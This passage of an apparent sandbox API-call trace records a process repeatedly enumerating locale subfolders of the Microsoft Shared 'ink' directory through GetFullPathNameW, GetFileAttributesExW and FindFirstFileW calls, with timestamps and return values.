lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL", lpFilePart=0x0) returned 0x38 [0077.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.514] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL", lpFilePart=0x0) returned 0x38 [0077.514] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.514] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.515] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL", lpFilePart=0x0) returned 0x38 [0077.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.515] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.515] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR", lpFilePart=0x0) returned 0x38 [0077.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.515] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR", lpFilePart=0x0) returned 0x38 [0077.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.515] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.515] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR", lpFilePart=0x0) returned 0x38 [0077.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.515] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.515] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU", lpFilePart=0x0) returned 0x38 [0077.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.516] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU", lpFilePart=0x0) returned 0x38 [0077.516] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.516] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.516] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU", lpFilePart=0x0) returned 0x38 [0077.516] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.516] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.516] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization", lpFilePart=0x0) returned 0x43 [0077.516] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.516] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization", lpFilePart=0x0) returned 0x43 [0077.516] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.516] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.516] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization", lpFilePart=0x0) returned 0x43 [0077.516] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.517] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.517] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT", lpFilePart=0x0) returned 0x38 [0077.517] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.517] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT", lpFilePart=0x0) returned 0x38 [0077.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.517] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.517] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT", lpFilePart=0x0) returned 0x38 [0077.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.517] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.517] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP", lpFilePart=0x0) returned 0x38 [0077.517] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.517] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP", lpFilePart=0x0) returned 0x38 [0077.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.517] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.518] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP", lpFilePart=0x0) returned 0x38 [0077.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.518] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.518] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR", lpFilePart=0x0) returned 0x38 [0077.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.518] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR", lpFilePart=0x0) returned 0x38 [0077.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.518] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.518] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR", lpFilePart=0x0) returned 0x38 [0077.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.518] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.518] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT", lpFilePart=0x0) returned 0x38 [0077.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.519] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT", lpFilePart=0x0) returned 0x38 [0077.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.519] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.519] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT", lpFilePart=0x0) returned 0x38 [0077.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.519] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.519] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV", lpFilePart=0x0) returned 0x38 [0077.519] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.519] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV", lpFilePart=0x0) returned 0x38 [0077.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.519] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.519] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV", lpFilePart=0x0) returned 0x38 [0077.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.520] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.520] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO", lpFilePart=0x0) returned 0x38 [0077.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.520] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO", lpFilePart=0x0) returned 0x38 [0077.520] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.520] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.520] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO", lpFilePart=0x0) returned 0x38 [0077.520] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.520] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.520] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL", lpFilePart=0x0) returned 0x38 [0077.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.520] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL", lpFilePart=0x0) returned 0x38 [0077.520] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.520] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.521] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL", lpFilePart=0x0) returned 0x38 [0077.521] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.521] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.521] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL", lpFilePart=0x0) returned 0x38 [0077.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.521] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL", lpFilePart=0x0) returned 0x38 [0077.521] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.521] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.521] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL", lpFilePart=0x0) returned 0x38 [0077.521] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.521] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.521] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR", lpFilePart=0x0) returned 0x38 [0077.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.522] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR", lpFilePart=0x0) returned 0x38 [0077.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.522] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.522] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR", lpFilePart=0x0) returned 0x38 [0077.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", 